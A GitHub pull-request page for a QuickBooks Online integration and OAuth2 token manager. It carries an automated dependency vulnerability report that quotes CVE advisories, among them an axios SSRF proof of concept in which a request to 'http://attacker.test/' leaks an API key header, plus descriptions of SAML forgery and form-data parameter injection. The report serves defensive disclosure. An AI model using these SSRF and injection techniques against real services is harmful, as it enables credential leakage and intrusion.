Skip to content

Conversation

@anatolyshipitz
Copy link
Collaborator

  • Introduced the QBORepository class for handling QuickBooks Online interactions, including methods for retrieving paid invoices and calculating effective revenue.
  • Added types for CustomerRevenueByRef and Invoice to define the data structure.
  • Created comprehensive unit tests for QBORepository and related types to ensure functionality and error handling.
  • Implemented tests for the QBO service exports to validate the structure and instantiation of key classes.

These changes enhance the integration with QuickBooks Online, providing a robust foundation for financial data management and reporting.

- Introduced `OAuth2TokenManager` for managing access and refresh tokens, including validation and automatic refreshing.
- Added `FileTokenStorage` for persistent token storage, allowing tokens to be saved and loaded from a file.
- Created `IOAuth2TokenManager` and `TokenRefreshProvider` interfaces to define the structure for token management and refreshing.
- Implemented `OAuth2TokenRefreshProvider` to handle token refresh logic using QuickBooks Online API.
- Added constants for token configuration and error messages to improve maintainability and clarity.

These changes enhance the application's OAuth2 integration, ensuring robust token management and storage capabilities.
- Removed console logging and the `logRefreshTokenChange` method from `OAuth2TokenManager` to streamline the token management process.
- Deleted unused interfaces `TokenManagementResult` and `TokenInfo` from `types.ts`, simplifying the codebase and improving maintainability.

These changes enhance the clarity and efficiency of the OAuth2 token management implementation.
- Introduced the QBORepository class for handling QuickBooks Online interactions, including methods for retrieving paid invoices and calculating effective revenue.
- Added types for CustomerRevenueByRef and Invoice to define the data structure.
- Created comprehensive unit tests for QBORepository and related types to ensure functionality and error handling.
- Implemented tests for the QBO service exports to validate the structure and instantiation of key classes.

These changes enhance the integration with QuickBooks Online, providing a robust foundation for financial data management and reporting.
@anatolyshipitz anatolyshipitz requested a review from killev as a code owner July 31, 2025 14:41
@coderabbitai
Copy link

coderabbitai bot commented Jul 31, 2025

Important

Review skipped

Auto reviews are disabled on base/target branches other than the default branch.

Please check the settings in the CodeRabbit UI or the .coderabbit.yaml file in this repository. To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

✨ Finishing Touches
🧪 Generate unit tests
  • Create PR with unit tests
  • Post copyable unit tests in a comment
  • Commit unit tests in branch feature/65031_qbo_service

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share
🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Explain this complex logic.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai explain this code block.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and explain its main purpose.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.

Support

Need help? Create a ticket on our support page for assistance with any issues or questions.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR.
  • @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
  • @coderabbitai generate unit tests to generate unit tests for this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

@github-actions
Copy link

github-actions bot commented Jul 31, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:e952149b2246785b2b956cda2bc4e02bbfa30db0b008eeb9820d271552a4f9c6
vulnerabilitiescritical: 4 high: 7 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 1
critical: 1 high: 1 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/[email protected]

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.023%
EPSS Percentile4th percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

high : CVE--2025--22874

Affected range>=1.24.0-0
<1.24.4
Fixed version1.24.4
EPSS Score0.012%
EPSS Percentile1st percentile
Description

Calling Verify with a VerifyOptions.KeyUsages that contains ExtKeyUsageAny unintentionally disabledpolicy validation. This only affected certificate chains which contain policy graphs, which are rather uncommon.

critical: 1 high: 0 medium: 0 low: 0 samlify 2.9.0 (npm)

pkg:npm/[email protected]

critical 9.9: CVE--2025--47949 Improper Verification of Cryptographic Signature

Affected range<2.10.0
Fixed version2.10.0
CVSS Score9.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.026%
EPSS Percentile6th percentile
Description

A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user.
An attacker would need a signed XML document by the identity provider.

critical: 1 high: 0 medium: 0 low: 0 form-data 4.0.0 (npm)

pkg:npm/[email protected]

critical 9.4: CVE--2025--7783 Use of Insufficiently Random Values

Affected range>=4.0.0
<4.0.4
Fixed version4.0.4
CVSS Score9.4
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.076%
EPSS Percentile23rd percentile
Description

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

  1. can observe other values produced by Math.random in the target application, and
  2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

  • Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
  • Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

critical: 1 high: 0 medium: 0 low: 0 form-data 2.5.3 (npm)

pkg:npm/[email protected]

critical 9.4: CVE--2025--7783 Use of Insufficiently Random Values

Affected range<2.5.4
Fixed version2.5.4
CVSS Score9.4
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.076%
EPSS Percentile23rd percentile
Description

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

  1. can observe other values produced by Math.random in the target application, and
  2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

  • Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
  • Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.024%
EPSS Percentile5th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 tar-fs 2.1.2 (npm)

pkg:npm/[email protected]

high 8.7: CVE--2025--48387 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=2.0.0
<2.1.3
Fixed version2.1.3
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.112%
EPSS Percentile30th percentile
Description

Impact

v3.0.8, v2.1.2, v1.16.4 and below

Patches

Has been patched in 3.0.9, 2.1.3, and 1.16.5

Workarounds

You can use the ignore option to ignore non files/directories.

  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }

Credit

Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/[email protected]

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score31.580%
EPSS Percentile97th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.130%
EPSS Percentile33rd percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.418%
EPSS Percentile61st percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

critical: 0 high: 1 medium: 0 low: 0 multer 1.4.5-lts.2 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2025--47935 Missing Release of Memory after Effective Lifetime

Affected range<2.0.0
Fixed version2.0.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile3rd percentile
Description

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

Workarounds

None

References

anatolyshipitz and others added 17 commits July 31, 2025 16:44
- Removed unnecessary validation for `refreshToken`, `companyId`, and `apiUrl` in the QBORepository constructor, simplifying the initialization process.
- Cleaned up comments related to axios instance creation and retry configuration for better clarity.

These changes streamline the QBORepository class, enhancing maintainability and readability.
- Introduced `OAuth2Error` class for better error handling in OAuth2 processes.
- Updated `FileTokenStorage` and `OAuth2TokenManager` to throw `OAuth2Error` instead of generic errors, improving error specificity.
- Added unit tests for `OAuth2Error` to ensure correct functionality.

These changes enhance the robustness of the OAuth2 token management implementation by providing clearer error messages and improving maintainability.
- Added tests to verify the behavior of `getAccessToken` and `getCurrentRefreshToken` methods in various scenarios, including valid, expired, and malformed tokens.
- Implemented checks for concurrent access to ensure that multiple calls to `getAccessToken` handle token refresh correctly without causing multiple refresh requests.
- Improved error handling tests for token refresh failures, ensuring that appropriate errors are thrown and tokens are cleared when necessary.

These changes strengthen the test coverage of the OAuth2 token management implementation, ensuring robustness and reliability in token handling.
- Added a `setTokenDataForTesting` method to `OAuth2TokenManager` for improved testing capabilities.
- Removed unnecessary comments and streamlined the `TokenData` interface in `types.ts`.
- Introduced unit tests for `OAuth2TokenManager` focusing on storage and error handling scenarios, ensuring robustness in token management.

These changes improve the maintainability and testability of the OAuth2 token management implementation, enhancing overall code quality.
- Added new error messages for loading and clearing OAuth2 tokens in `constants.ts`.
- Updated `OAuth2TokenManager` to throw specific errors when loading and clearing tokens fails.
- Refactored tests to ensure comprehensive coverage of token validation scenarios, including handling of empty, null, and expired tokens.

These changes improve the robustness and clarity of the OAuth2 token management implementation, enhancing error handling and overall code quality.
…mprovements

- Added a new method `isValidTokenData` in `OAuth2TokenManager` to validate token data before processing.
- Updated the token loading logic to ensure only valid token data is set.
- Introduced a new test case to verify the handling of malformed token data, ensuring the manager gracefully manages invalid tokens.

These changes improve the robustness of the OAuth2 token management implementation by ensuring only valid tokens are processed and enhancing error handling capabilities.
- Updated the `isTokenValid` method to include checks for the presence of the refresh token.
- Improved the `isValidTokenData` method to validate token data structure and values more thoroughly, ensuring that access and refresh tokens are non-empty strings and that the expiry date is a valid finite number.
- Modified the `setTokenData` method to throw an error if invalid token data is provided.
- Enhanced the `setTokenDataForTesting` method to handle null token data appropriately.

These changes further strengthen the OAuth2 token management implementation by ensuring comprehensive validation of token data, improving error handling, and enhancing overall code reliability.
- Removed the `IOAuth2TokenManager` interface and integrated its functionality into the new `OAuth2TokenManagerInterface` in `types.ts`.
- Updated imports in `FileTokenStorage`, `OAuth2TokenManager`, and `OAuth2TokenRefreshProvider` to reference the consolidated types.
- This refactor improves code organization and maintainability by centralizing type definitions related to OAuth2 token management.
- Updated the `load` method in `FileTokenStorage` to be asynchronous, utilizing `fs.promises.readFile` for improved performance and non-blocking behavior.
- Modified the `loadTokens` method in `OAuth2TokenManager` to handle the asynchronous loading of token data.
- Adjusted unit tests for `OAuth2TokenManager` to accommodate the asynchronous nature of the `load` method, ensuring proper initialization and handling of token data.

These changes enhance the efficiency and responsiveness of the OAuth2 token management implementation by allowing for non-blocking token loading operations.
- Updated the `OAuth2Error` class to include a `code` property, allowing for custom error codes alongside the message and name.
- Modified unit tests for `OAuth2Error` to verify the correct setting of default and custom error codes.
- Introduced new error codes in `constants.ts` for better error handling across the OAuth2 service.

These changes improve the error handling capabilities of the OAuth2 implementation by providing more granular error information, enhancing debugging and user feedback.
- Updated the `setTokenDataForTesting` method to throw an error if called outside of the test environment, ensuring it is only used in appropriate contexts.
- This change improves the safety and reliability of the testing process by preventing misuse of the method in production environments.
- Introduced comprehensive unit tests for the `FileTokenStorage` class, covering methods for saving, loading, and clearing token data, including error handling scenarios.
- Added tests for the `OAuth2TokenRefreshProvider` to ensure proper instantiation and method availability.
- These tests enhance the reliability and maintainability of the OAuth2 token management implementation by ensuring critical functionalities are thoroughly validated.
- Introduced new test cases in `OAuth2TokenManager` to handle scenarios for empty access and refresh tokens, as well as invalid expiry dates, ensuring robust validation of token data.
- Added a test in `OAuth2TokenRefreshProvider` to verify that the `refreshToken` method returns a promise, enhancing the reliability of the token refresh functionality.
- These tests improve the overall coverage and reliability of the OAuth2 token management implementation by validating critical edge cases and ensuring proper asynchronous behavior.
- Introduced new test cases in `OAuth2TokenManager` to handle edge cases for negative, zero, and very small expiry dates, ensuring the `isTokenValid` method correctly identifies invalid token data.
- These tests enhance the robustness of the token validation logic by covering additional scenarios that could lead to incorrect token handling.

This update improves the overall reliability of the OAuth2 token management implementation by validating critical edge cases in token expiry handling.
- Introduced new test cases in `OAuth2TokenManager` to verify the handling of token refresh when the token is within the buffer time, ensuring that valid tokens are correctly returned.
- Added tests for concurrent token refresh requests to ensure that multiple simultaneous requests are handled properly, returning the expected new access token.
- Included tests for handling null and undefined token data in `setTokenDataForTesting`, ensuring that the token manager correctly identifies invalid token states.

These updates enhance the reliability and robustness of the OAuth2 token management implementation by validating critical scenarios related to token refresh behavior and data integrity.
@anatolyshipitz anatolyshipitz changed the base branch from feature/65031_oauth_service to main August 8, 2025 09:17
@anatolyshipitz anatolyshipitz marked this pull request as draft August 8, 2025 10:53
@anatolyshipitz anatolyshipitz deleted the feature/65031_qbo_service branch August 8, 2025 12:03
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants